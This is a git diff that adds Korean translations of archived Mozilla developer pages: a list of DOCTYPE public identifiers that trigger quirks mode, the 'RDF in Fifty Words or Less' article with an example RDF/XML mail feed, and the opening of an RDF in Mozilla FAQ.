+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+2%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 2//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Level 2//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 1//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+1%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 1//EN//2.0$</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Level 1//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+0%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+0%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Level 0//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 2//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+2%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 2//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict Level 2//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 1//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+1%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 1//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0+Strict+Level+1%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0 Strict Level 1//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+0%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+0%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML Strict Level 0//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FWebTechs%2F%2FDTD+Mozilla+HTML%2F%2FEN%22%3E">"-//WebTechs//DTD Mozilla HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FWebTechs%2F%2FDTD+Mozilla+HTML+2.0%2F%2FEN%22%3E">"-//WebTechs//DTD Mozilla HTML 2.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FNetscape+Comm.+Corp.%2F%2FDTD+Strict+HTML%2F%2FEN%22%3E">"-//Netscape Comm. Corp.//DTD Strict HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+HTML%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%2$DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+HTML+Strict%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 HTML Strict//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+2.0+Tables%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 2.0 Tables//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+HTML%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+HTML+Strict%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 HTML Strict//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FMicrosoft%2F%2FDTD+Internet+Explorer+3.0+Tables%2F%2FEN%22%3E">"-//Microsoft//DTD Internet Explorer 3.0 Tables//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSun+Microsystems+Corp.%2F%2FDTD+HotJava+HTML%2F%2FEN%22%3E">"-//Sun Microsystems Corp.//DTD HotJava HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSun+Microsystems+Corp.%2F%2FDTD+HotJava+Strict+HTML%2F%2FEN%22%3E">"-//Sun Microsystems Corp.//DTD HotJava Strict HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.1E%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.1E//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+Extended+1.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML Extended 1.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+Extended+Relaxed+1.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML Extended Relaxed 1.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FO%27Reilly+and+Associates%2F%2FDTD+HTML+2.0%2F%2FEN%22%3E">"-//O'Reilly and Associates//DTD HTML 2.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSQ%2F%2FDTD+HTML+2.0+HoTMetaL+%2B+extensions%2F%2FEN%22%3E">"-//SQ//DTD HTML 2.0 HoTMetaL + extensions//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSpyglass%2F%2FDTD+HTML+2.0+Extended%2F%2FEN%22%3E">"-//Spyglass//DTD HTML 2.0 Extended//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22%2B%2F%2FSilmaril%2F%2FDTD+HTML+Pro+v0r11+19970101%2F%2FEN%22%3E">"+//Silmaril//DTD HTML Pro v0r11 19970101//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+Experimental+19960712%2F%2FEN%22%3E">"-//W3C//DTD HTML Experimental 19960712//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2+Final%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2 Final//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2+Draft%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2 Draft//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+Experimental+970421%2F%2FEN%22%3E">"-//W3C//DTD HTML Experimental 970421//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBL$C+%22-%2F%2FW3C%2F%2FDTD+HTML+3.2S+Draft%2F%2FEN%22%3E">"-//W3C//DTD HTML 3.2S Draft//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+W3+HTML%2F%2FEN%22%3E">"-//W3C//DTD W3 HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?pubid=-%2F%2FMetrius%2F%2FDTD+Metrius+Presentational%2F%2FEN">"-//Metrius//DTD Metrius Presentational//EN"</a>.</li>
+</ul>
+<p>부정확한 대/소문자로 공용 식별자를 쓰는 상당수 페이지 때문에 모든 공용 식별자 비교는 대/소문자를 구별하지 않음을 주의하세요. (이는 엄밀히 말하면 틀린데, 문자열이 대/소문자를 구별하기 때문입니다.)</p>
+<h3 id=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0" name=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0">같이 보기</h3>
+<ul>
+ <li><a href="ko/Web_Development">Web Development</a></li>
+ <li><a href="ko/Mozilla's_Quirks_Mode">Mozilla's Quirks Mode</a></li>
+ <li><a href="ko/Mozilla_Quirks_Mode_Behavior">Mozilla Quirks Mode Behavior</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h3>
+ <ul>
+  <li>제작자: <a class="external" href="http://dbaron.org/">David Baron</a></li>
+  <li>최근 업데이트 날짜: August 2, 2005</li>
+  <li>저작권 정보: Copyright (C) <a class="external" href="http://dbaron.org/">David Baron</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html b/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html
new file mode 100644
index 0000000000..e0f739e688
--- /dev/null
+++ b/files/ko/archive/web_standards/rdf_in_fifty_words_or_less/index.html
@@ -0,0 +1,87 @@
+---
+title: RDF in Fifty Words or Less
+slug: Archive/Web_Standards/RDF_in_Fifty_Words_or_Less
+tags:
+  - RDF
+translation_of: Archive/Web_Standards/RDF_in_Fifty_Words_or_Less
+---
+<p>어쩌면 이 문서는 50 단어 이상이 될 수도 있겠습니다, 하지만 핵심 사항들은 꽤 간단합니다 (핵심적인 것들만 빨리 익히고 싶어하는 관리자들을 위해 이러한 것들은 <b>굵은 글씨체</b>로 표기하였습니다). <a href="ko/RDF"><i>Resource Description Framework</i></a>, 혹은 "RDF" 라고 하는 것은 실제로는 2 가지를 말합니다.
+</p>
+<blockquote>
+<b>첫째로, RDF 는 (웹 페이지나 email 주소와 같은) 인터넷 상의 <i>자원</i>들을 설명하고 이들이 어떻게 서로 연관되어 있는지를 나타내는 그래프 기반의 모델입니다.</b>
+</blockquote>
+<p>하지만 <i>실제로는</i> 이라는 말이 어떤 의미일까요?
+Mozilla 개발자에게는 RDF 데이터 모델(그래프)이 인터넷 자원들을 통합하고 구조화하기 위한 메카니즘으로 사용될 수 있다는 것을 말합니다.
+</p><p>예제를 하나 보겠습니다: <i>북마크 (bookmark)</i>. 지금 대부분의 브라우저들은 당신이 북마크를 체계적으로 관리하도록 <i>폴더</i> 를 지정하고 있습니다. 각 북마크는 <b>URI</b> (<b>U</b>niform <b>R</b>esource <b>I</b>dentifier) 라고 하는 웹페이지를 가리키는 <i>포인터</i> 입니다.
+</p><p>하지만 웹 페이지는 단지 인터넷 자원 중의 하나일 뿐 입니다.
+이 밖에도 다른 많은 자원들 - 몇가지 예를 들자면 이메일 메시지, 유즈넷 뉴스 기사 (혹은 전체 유즈넷 뉴스 그룹), 당신이 잘 사용하는 웹 검색 엔진의 검색 결과 - 이 있습니다.
+그리고 기본적으로 이들을 "북마크"로 다루거나 이들을 그룹지어 원하는 폴더 안에 저장하지 못할 이유가 없으며,
+심지어는 당신이 특정 폴더를 열 때 마다 미리 정의된 검색을 수행하여 동적으로 컨텐츠를 생성해내는 "스마트" 폴더를 생성하는 것도 가능합니다.
+</p><p>그리고 "북마크"는 실제로 임의의 특성(arbitrary properties associated with it)을 가지고 있습니다:
+당신은 북마크를 분류하기 위한 (매킨토시의 "hot", "warm", "cool" 컬러 코딩 방식처럼) 당신만의 기준을 만들고 싶을 수도 있을 것입니다. 또는 한 북마크를 다른 북마크와 연관시키거나 한 북마크를 여러 폴더에 같이 저장시키고 싶을 수도 있습니다.
+</p><p>RDF 그래프는 위의 예제에서 언급한 "유니버설" 북마크 서비스를 구성할 수 있는 완전한 데이터 모델을 제공합니다:
+그래프는 임의의 자원을 지정할 수 있는 포인터를 포함하며, 당신이 생각할 수 있는 어떠한 방식으로도 그들을 그룹으로 묶을 수 있습니다.
+</p><p>하지만 그전에..
+</p>
+<blockquote>
+<b>
+둘째로, RDF 는 직렬화 문법(serialization syntax)입니다. 이 문법은 "에이전트" 간에 통신할 수 있는 그래프 방식의 모델을 제공합니다.</b>
+</blockquote>
+<p>이게 무슨 소리일까요? 기본적으로 RDF 데이터 모델의 일부분은 네트워크 간에
+통신할 수 있으며 그래프의 내용은 원격지의 서비스에서 도착한 정보로 동적으로 변경될 수 있다는 것을 의미합니다.
+</p><p>위의 예제를 다시 보기로 합시다. 당신의 북마크 "폴더" 중의 하나는 실제로 당신의 메일함의 받은 편지함을 가리키는 포인터라고 합시다: 당신이 그 폴더를 열었다면, 자! 밤 사이 받았던 모든 메시지들을 볼 수 있습니다.
+</p><p>하지만 어떻게 이런 일이 가능할까요?
+그 "폴더"는 사실 그래프를 확장한 RDF 를 저장하고 있는 인터넷 자원을 가리키는 포인터 였습니다.
+"인터넷 자원"은 CGI 스크립트를 가리키는 URI 였습니다.
+(즉, &lt;tt&gt;<a class=" external" href="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&amp;folder=inbox" rel="freelink">http://www.mozilla.org/smart-mail/ge...n&amp;folder=inbox</a>&lt;/tt&gt;).
+이 CGI 스크립트가 실제 <i>직렬화된(serialized) RDF</i> 를 생성합니다. 이것은 기본적으로 <a href="ko/XML">XML</a> 을 이용한 그래프의 표현 방식입니다:
+</p>
+<pre class="eval">&lt;rdf:RDF
+    xmlns:rdf="<a class=" external" href="http://www.w3.org/TR/WD-rdf-syntax#" rel="freelink">http://www.w3.org/TR/WD-rdf-syntax#</a>"
+    xmlns:sm="<a class=" external" href="http://www.mozilla.org/smart-mail/schema#" rel="freelink">http://www.mozilla.org/smart-mail/schema#</a>"&gt;
+  &lt;rdf:Description
+    about="<a class=" external" href="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&amp;folder=inbox" rel="freelink">http://www.mozilla.org/smart-mail/ge...n&amp;folder=inbox</a>"&gt;
+    &lt;sm:message id="4025293"&gt;
+       &lt;sm:recipient&gt;
+         Chris Waterson "<a class=" link-mailto" href="mailto:waterson@netscape.com" rel="freelink">waterson@netscape.com</a>"
+       &lt;/sm:recipient&gt;
+       &lt;sm:sender&gt;
+         Aunt Helga "<a class=" link-mailto" href="mailto:helga@netcenter.net" rel="freelink">helga@netcenter.net</a>"
+       &lt;/sm:sender&gt;
+       &lt;sm:received-by&gt;x-wing.mcom.com&lt;/sm:received-by&gt;
+       &lt;sm:subject&gt;Great recipe for Yam Soup!&lt;/sm:subject&gt;
+       &lt;sm:body&gt;
+         <a class=" external" href="http://www.mozilla.org/smart-mail/get-body.cgi?id=4025293" rel="freelink">http://www.mozilla.org/smart-mail/ge...cgi?id=4025293</a>
+       &lt;/sm:body&gt;
+    &lt;/sm:message&gt;
+    &lt;sm:message id="4025294"&gt;
+       &lt;sm:recipient&gt;
+         Chris Waterson "<a class=" link-mailto" href="mailto:waterson@netscape.com" rel="freelink">waterson@netscape.com</a>"
+       &lt;/sm:recipient&gt;
+       &lt;sm:sender&gt;
+         Sarah Waterson "<a class=" link-mailto" href="mailto:waterson.2@postbox.acs.ohio-state.edu" rel="freelink">waterson.2@postbox.acs.ohio-state.edu</a>"
+       &lt;/sm:sender&gt;
+       &lt;sm:received-by&gt;x-wing.mcom.com&lt;/sm:received-by&gt;
+       &lt;sm:subject&gt;We won our ultimate game&lt;/sm:subject&gt;
+       &lt;sm:body&gt;
+         <a class=" external" href="http://www.mozilla.org/smart-mail/get-body.cgi?id=4025294" rel="freelink">http://www.mozilla.org/smart-mail/ge...cgi?id=4025294</a>
+       &lt;/sm:body&gt;
+    &lt;/sm:message&gt;
+  &lt;/rdf:Description&gt;
+&lt;/rdf:RDF&gt;
+</pre>
+<p>위와 같은 복잡한 데이터(monstrosity)를 받으면, RDF 엔진은 RDF 데이터를 그래프 상의 적절한 위치에 배치(fold)하며
+실제로 북마크 UI 를 구현하는 트리 컨트롤에 통지하여 (Aunt Helga 에게서 받은 Yam Soup 에 대한) 최근의 메시지에 대해 특정 아이콘을 표시하도록 합니다.
+</p><p>이것은 <a class="external" href="http://www.mozilla.org/mailnews/">SmartMail</a>이 동작하는 원리와 <i>정확히</i> 동일합니다.
+</p><p>연락처:
+<a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a> <a class=" link-mailto" href="mailto:(waterson@netscape.com)" rel="freelink">(waterson@netscape.com)</a>
+</p>
+<div class="originaldocinfo">
+<h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h2>
+<ul><li> 저자: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a>
+</li><li> 최근 변경일: 1998-11-19
+</li><li> 저작권 정보: Copyright (C) <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a>
+</li></ul>
+</div>
+<p><span class="comment">Interwiki Language Links</span>
+</p>
diff --git a/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html b/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html
new file mode 100644
index 0000000000..f59bcb7e2d
--- /dev/null
+++ b/files/ko/archive/web_standards/rdf_in_mozilla_faq/index.html
@@ -0,0 +1,292 @@
+---
+title: RDF in Mozilla FAQ
+slug: Archive/Web_Standards/RDF_in_Mozilla_FAQ
+tags:
+  - RDF
+translation_of: Archive/Web_Standards/RDF_in_Mozilla_FAQ
+---
+<h2 id=".EC.9D.BC.EB.B0.98" name=".EC.9D.BC.EB.B0.98">일반</h2>
+<h3 id=".EC.96.B4.EB.94.94.EC.97.90.EC.84.9C.EB.B6.80.ED.84.B0_.EC.8B.9C.EC.9E.91.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F" name=".EC.96.B4.EB.94.94.EC.97.90.EC.84.9C.EB.B6.80.ED.84.B0_.EC.8B.9C.EC.9E.91.ED.95.B4.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F">어디에서부터 시작해야 하나요?</h3>
+<p><a href="ko/RDF">RDF</a> 는 Mozilla 에서 크게 두가지 기능을 제공합니다. 첫번째가, 단순히 작은 데이터 저장 공간을 위한 크로스 플랫폼의 데이터베이스 (cross-platform database for small data stores) 역할이며 두번째가 더 중요한데 RDF 모델이 <a href="ko/XUL/Template_Guide">XUL 템플릿</a>과 함께 사용되어 정보 표현을 위한 추상적인 "API" 를 제공하는 것입니다. <a href="ko/RDF_in_Fifty_Words_or_Less">RDF in Fifty Words or Less</a> 문서는 Mozilla 에서 RDF 가 어떤 작업을 수행하는지를 손쉽게, 고 수준에서 살펴볼 수 있게 해 줍니다. <a href="ko/RDF_Back-end_Architecture_(external)">RDF 백엔드 구조</a> 문서는 Mozilla 의 RDF 구현이 동작하는 방식을 더욱 자세히 설명하며, 거기에 포함된 인터페이스들에 대한 간략한 개요를 살펴볼 수 있습니다.</p>
+<h3 id="Open_Directory_.28.22dmoz.22.29_.EC.83.81.EC.9D.98_.EC.96.B4.EB.94.94.EC.97.90.EC.84.9C_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.95.84.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F" name="Open_Directory_.28.22dmoz.22.29_.EC.83.81.EC.9D.98_.EC.96.B4.EB.94.94.EC.97.90.EC.84.9C_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.95.84.EC.95.BC_.ED.95.98.EB.82.98.EC.9A.94.3F">Open Directory ("dmoz") 상의 어디에서 정보를 찾아야 하나요?</h3>
+<p>불행히도, <em>여기는 아닙니다</em>! 음, 여기는 그저.. Open Directory 에 대한 정보는 <a class="external" href="http://www.dmoz.org/" rel="freelink">http://www.dmoz.org/</a> 를 방문해 보기 바랍니다. Open Directory 의 데이터 셋은 (거대한) RDF/XML 덤프로 이용 가능합니다. 이것은 수천개의 웹 사이트를 <a class="external" href="http://www.dublincore.org/">더블린 코어</a>(Dublin Core)의 메타데이터 어휘와 DMoz 분류법을 혼합하여 분류해 놓은 것 입니다. 더 자세한 정보는 <a class="external" href="http://dmoz.org/rdf.html">DMoz 의 RDF 페이지</a>를 살펴보시고, 거기에 사용된 데이터 형식에 관련된 업데이트 사항은 <a class="external" href="http://groups.yahoo.com/group/odp-rdf-announce/">odp-rdf-announce</a> 페이지를 살펴보기 바랍니다. <a class="external" href="http://chefmoz.org/">ChefMoz</a> 사이트(공동(collaborative) 음식점 가이드) 도 역시 <a class="external" href="http://chefmoz.org/rdf.html">RDF 페이지</a>를 제공합니다.</p>
+<p>만약 DMoz 나 ChefMoz 데이터와 관련된 문제점이 발생한다면 해당 프로젝트에 직접 연락하는 것이 좋습니다. 하지만 당신이 그 컨텐츠를 사용하여 어떤 작업을 하고 있다면 (즉, 원격 사이트에서 XUL UI 로 해당 컨텐츠를 로드하는 것처럼) <a class="link-mailto" href="mailto:mozilla-rdf@mozilla.org">mozilla-rdf</a> 와 <a class="link-mailto" href="mailto:www-rdf-interest@w3.org">RDF Interest Group</a> 메일링 리스트에 알리는 것을 잊지 마십시오. 이들은 DMoz 데이터를 삭제하고 재처리하고 저장하는 툴에 대해서도 관심을 가지고 있을 것 입니다. ODP RDF 덤프를 사용하는 사이트에 대한 정보는<a class="external" href="http://dmoz.org/Computers/Internet/Searching/Directories/Open_Directory_Project/Use_of_ODP_Data/">ODP 데이터를 사용하는 사이트들</a> 페이지를 보십시오.</p>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.28datasource.29.EA.B0.80_.EB.AD.90.EC.A3.A0.3F" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.28datasource.29.EA.B0.80_.EB.AD.90.EC.A3.A0.3F">데이터 소스(datasource)가 뭐죠?</h3>
+<p>RDF 는 일반적으로 2가지 관점으로 볼 수 있습니다: 하나는 노드와 호(arc)로 이루어진 그래프로 보는 관점이며 다른 하나는 논리적인 구문들(logical statements)로 이루어진 "수프"(soup) 로 보는 관점이다. 데이터 소스는 특정한 기준으로 그룹지어진 하위 그래프(subgraph) (혹은 다른 관점에서 본다면 구문들의 집합) 입니다. 예를 들면, "브라우저 북마크", "브라우저 전역 방문 기록 (global history)", "IMAP 메일 계정", "NNTP 뉴스 서버", "RDF/XML 파일" 등이 있습니다.</p>
+<p>Mozilla 에서는 데이터 소스들은 <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFCompositeDataSource.idl">복합 (composite) 데이터 소스</a> 기능을 사용하여 <em>통합</em>(compose) 될 수 있습니다. 이것은 그래프를 오버레이(overlay) 시키는 것이나 구문의 집합들을 병합(merge)하는 것("microtheories")과 비슷합니다. 동일한 RDF <em>자원</em>에 대한 구문은 혼용(intermingle)될 수 있습니다: 예를 들어 특정 웹사이트의 "최근 방문 시간"은 "브라우저 전역 방문 기록" 데이터 소스에서 얻을 수 있고, 해당 웹사이트로 가기 위한 "단축 키워드(shortcut keyword)"는 "브라우저 북마크" 데이터 소스에서 얻을 수 있습니다. 두 데이터 소스는 URL 을 통해 "웹사이트" 를 가리킵니다: 이것이 데이터 소스들이 효율적으로 "병합"될 수 있는 "핵심"(key)이 됩니다.</p>
